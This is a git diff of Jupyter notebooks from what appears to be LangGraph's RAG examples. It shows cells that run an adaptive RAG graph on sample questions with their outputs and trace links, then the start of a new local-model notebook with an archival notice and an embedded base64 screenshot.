+ "---CHECK HALLUCINATIONS---\n", + "---DECISION: GENERATION IS GROUNDED IN DOCUMENTS---\n", + "---GRADE GENERATION vs QUESTION---\n", + "---DECISION: GENERATION ADDRESSES QUESTION---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "'Sensory, short-term, and long-term memory.'\n" + ] + } + ], + "source": [ + "# Run\n", + "inputs = {\"question\": \"What are the types of agent memory?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint.pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint.pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint.pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "ebf41097-fc4c-4072-95b3-e7e07731ada1", + "metadata": { + "id": "ebf41097-fc4c-4072-95b3-e7e07731ada1" + }, + "source": [ + "Trace:\n", + "\n", + "https://smith.langchain.com/public/57f3973b-6879-4fbe-ae31-9ae524c3a697/r" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "id": "qPwP_2PNiOjQ", + "metadata": { + "id": "qPwP_2PNiOjQ" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---ROUTE QUESTION---\n", + "---ROUTE QUESTION TO LLM---\n", + "---LLM Fallback---\n", + "\"Node 'llm_fallback':\"\n", + "'\\n---\\n'\n", + "(\"I don't have feelings as an AI assistant, but I'm here to help you with your \"\n", + " 'queries. How can I assist you today?')\n" + ] + } + ], + "source": [ + "# Run\n", + "inputs = {\"question\": \"Hello, how are you today?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint.pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint.pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint.pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "4107c8a4-6171-4c1b-840a-77a3d09f84fc", + "metadata": {}, + "source": [ + "Trace: \n", + "\n", + "https://smith.langchain.com/public/1f628ee4-8d2d-451e-aeb1-5d5e0ede2b4f/r" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ce3cda0a-c4bd-41ea-830b-d992f27fde15", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "colab": { + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_adaptive_rag_local.ipynb b/examples/rag/langgraph_adaptive_rag_local.ipynb new file mode 100644 index 0000000..0b28963 --- /dev/null +++ b/examples/rag/langgraph_adaptive_rag_local.ipynb @@ -0,0 +1,846 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "39b26b09", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "3755396d-c4a8-45bd-87d4-00cb56339fe5.png": { + "image/png": "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